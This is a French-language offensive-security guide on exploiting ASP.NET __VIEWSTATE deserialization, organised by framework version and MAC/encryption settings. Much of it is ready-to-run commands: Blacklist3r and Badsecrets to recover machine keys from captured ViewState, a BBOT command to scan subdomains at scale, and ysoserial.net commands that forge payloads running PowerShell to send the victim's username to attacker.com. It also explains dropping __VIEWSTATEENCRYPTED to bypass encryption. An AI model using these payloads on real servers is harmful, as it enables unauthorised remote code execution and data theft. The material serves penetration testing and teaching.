Exploiter __VIEWSTATE sans connaître les secrets

Reading time: 10 minutes

Qu'est-ce que ViewState

ViewState sert de mécanisme par défaut dans ASP.NET pour maintenir les données de page et de contrôle à travers les pages web. Lors du rendu du HTML d'une page, l'état actuel de la page et les valeurs à préserver lors d'un postback sont sérialisés en chaînes encodées en base64. Ces chaînes sont ensuite placées dans des champs ViewState cachés.

Les informations de ViewState peuvent être caractérisées par les propriétés suivantes ou leurs combinaisons :

• Base64 :
• Ce format est utilisé lorsque les attributs EnableViewStateMac et ViewStateEncryptionMode sont tous deux définis sur false.
• Base64 + MAC (Code d'Authentification de Message) Activé :
• L'activation de MAC est réalisée en définissant l'attribut EnableViewStateMac sur true. Cela fournit une vérification d'intégrité pour les données de ViewState.
• Base64 + Chiffré :
• Le chiffrement est appliqué lorsque l'attribut ViewStateEncryptionMode est défini sur true, garantissant la confidentialité des données de ViewState.

Cas de Test

L'image est un tableau détaillant différentes configurations pour ViewState dans ASP.NET en fonction de la version du framework .NET. Voici un résumé du contenu :

1. Pour toute version de .NET, lorsque MAC et le chiffrement sont désactivés, une MachineKey n'est pas requise, et donc il n'y a pas de méthode applicable pour l'identifier.
2. Pour les versions inférieures à 4.5, si MAC est activé mais que le chiffrement ne l'est pas, une MachineKey est requise. La méthode pour identifier la MachineKey est appelée "Blacklist3r."
3. Pour les versions inférieures à 4.5, que MAC soit activé ou désactivé, si le chiffrement est activé, une MachineKey est nécessaire. Identifier la MachineKey est une tâche pour "Blacklist3r - Future Development."
4. Pour les versions 4.5 et supérieures, toutes les combinaisons de MAC et de chiffrement (que les deux soient vrais, ou que l'un soit vrai et l'autre faux) nécessitent une MachineKey. La MachineKey peut être identifiée en utilisant "Blacklist3r."

Cas de Test : 1 – EnableViewStateMac=false et viewStateEncryptionMode=false

Il est également possible de désactiver complètement le ViewStateMAC en définissant la clé de registre AspNetEnforceViewStateMac à zéro dans :

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identification des attributs ViewState

Vous pouvez essayer d'identifier si ViewState est protégé par MAC en capturant une requête contenant ce paramètre avec BurpSuite. Si Mac n'est pas utilisé pour protéger le paramètre, vous pouvez l'exploiter en utilisant YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Test case 1.5 – Comme le cas de test 1 mais le cookie ViewState n'est pas envoyé par le serveur

Les développeurs peuvent supprimer ViewState pour qu'il ne fasse pas partie d'une requête HTTP (l'utilisateur ne recevra pas ce cookie).
On peut supposer que si ViewState est absent, leur implémentation est sécurisée contre d'éventuelles vulnérabilités liées à la désérialisation de ViewState.
Cependant, ce n'est pas le cas. Si nous ajoutons le paramètre ViewState au corps de la requête et envoyons notre charge utile sérialisée créée avec ysoserial, nous pourrons toujours réaliser l'exécution de code comme montré dans le cas 1.

Test Case: 2 – .Net < 4.5 et EnableViewStateMac=true & ViewStateEncryptionMode=false

Pour activer ViewState MAC pour une page spécifique, nous devons apporter les modifications suivantes à un fichier aspx spécifique :

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Nous pouvons également le faire pour l'application globale en le définissant dans le fichier web.config comme indiqué ci-dessous :

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Comme le paramètre est protégé par MAC cette fois, pour exécuter l'attaque avec succès, nous avons d'abord besoin de la clé utilisée.

Vous pouvez essayer d'utiliser Blacklist3r(AspDotNetWrapper.exe) pour trouver la clé utilisée.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets est un autre outil qui peut identifier des machineKeys connus. Il est écrit en Python, donc contrairement à Blacklist3r, il n'y a pas de dépendance Windows. Pour les viewstates .NET, il existe un utilitaire "python blacklist3r", qui est le moyen le plus rapide de l'utiliser.

Il peut être fourni avec le viewstate et le générateur directement :

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

Ou, il peut se connecter directement à l'URL cible et essayer d'extraire le viewstate du HTML :

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

Pour rechercher des viewstates vulnérables à grande échelle, en conjonction avec l'énumération de sous-domaines, le module badsecrets BBOT peut être utilisé :

bbot -f subdomain-enum -m badsecrets -t evil.corp

Si vous avez de la chance et que la clé est trouvée, vous pouvez procéder à l'attaque en utilisant YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

Dans les cas où le paramètre _VIEWSTATEGENERATOR n'est pas envoyé par le serveur, vous n'avez pas besoin de fournir le paramètre --generator mais ceux-ci :

--apppath="/" --path="/hello.aspx"

Test Case: 3 – .Net < 4.5 et EnableViewStateMac=true/false et ViewStateEncryptionMode=true

Dans ce cas, il n'est pas connu si le paramètre est protégé par MAC. Alors, la valeur est probablement chiffrée et vous aurez besoin de la Machine Key pour chiffrer votre payload afin d'exploiter la vulnérabilité.

Dans ce cas, le Blacklist3r module est en cours de développement...

Avant .NET 4.5, ASP.NET peut accepter un paramètre ___VIEWSTATE_ non chiffré de la part des utilisateurs même si ViewStateEncryptionMode a été défini sur Always. ASP.NET vérifie uniquement la présence du paramètre __VIEWSTATEENCRYPTED dans la requête. Si l'on supprime ce paramètre et envoie le payload non chiffré, il sera tout de même traité.

Par conséquent, si les attaquants trouvent un moyen d'obtenir la Machinekey via une autre vulnérabilité comme le parcours de fichiers, la commande YSoSerial.Net utilisée dans le Cas 2 peut être utilisée pour effectuer un RCE en utilisant la vulnérabilité de désérialisation de ViewState.

• Supprimez le paramètre __VIEWSTATEENCRYPTED de la requête afin d'exploiter la vulnérabilité de désérialisation de ViewState, sinon cela renverra une erreur de validation MAC de Viewstate et l'exploitation échouera.

Test Case: 4 – .Net >= 4.5 et EnableViewStateMac=true/false et ViewStateEncryptionMode=true/false sauf les deux attributs à false

Nous pouvons forcer l'utilisation du framework ASP.NET en spécifiant le paramètre ci-dessous dans le fichier web.config comme indiqué ci-dessous.

<httpRuntime targetFramework="4.5" />

Alternativement, cela peut être fait en spécifiant l'option ci-dessous dans le paramètre machineKey du fichier web.config.

compatibilityMode="Framework45"

Comme dans le précédent, la valeur est chiffrée. Ensuite, pour envoyer une charge utile valide, l'attaquant a besoin de la clé.

Vous pouvez essayer d'utiliser Blacklist3r(AspDotNetWrapper.exe) pour trouver la clé utilisée :

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Pour une description plus détaillée de IISDirPath et TargetPagePath référez-vous ici

Ou, avec Badsecrets (avec une valeur de générateur) :

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

Une fois qu'une clé Machine valide est identifiée, l'étape suivante consiste à générer une charge utile sérialisée en utilisant YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Si vous avez la valeur de __VIEWSTATEGENERATOR, vous pouvez essayer d'utiliser le paramètre --generator avec cette valeur et omettre les paramètres --path et --apppath.

Une exploitation réussie de la vulnérabilité de désérialisation ViewState entraînera une requête hors bande vers un serveur contrôlé par l'attaquant, qui inclut le nom d'utilisateur. Ce type d'exploit est démontré dans une preuve de concept (PoC) qui peut être trouvée à travers une ressource intitulée "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Pour plus de détails sur le fonctionnement du processus d'exploitation et comment utiliser des outils comme Blacklist3r pour identifier le MachineKey, vous pouvez consulter la PoC d'Exploitation Réussie.

Cas de Test 6 – ViewStateUserKeys est utilisé

La propriété ViewStateUserKey peut être utilisée pour défendre contre une attaque CSRF. Si une telle clé a été définie dans l'application et que nous essayons de générer la charge utile ViewState avec les méthodes discutées jusqu'à présent, la charge utile ne sera pas traitée par l'application.
Vous devez utiliser un paramètre supplémentaire afin de créer correctement la charge utile :

--viewstateuserkey="randomstringdefinedintheserver"

Résultat d'une exploitation réussie

Pour tous les cas de test, si la charge utile ViewState YSoSerial.Net fonctionne avec succès, alors le serveur répond avec “500 Internal server error” ayant le contenu de réponse “Les informations d'état ne sont pas valides pour cette page et pourraient être corrompues” et nous obtenons la requête OOB.

Vérifiez plus d'informations ici

Références

• https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
• https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
• https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
• https://blog.blacklanternsecurity.com/p/introducing-badsecrets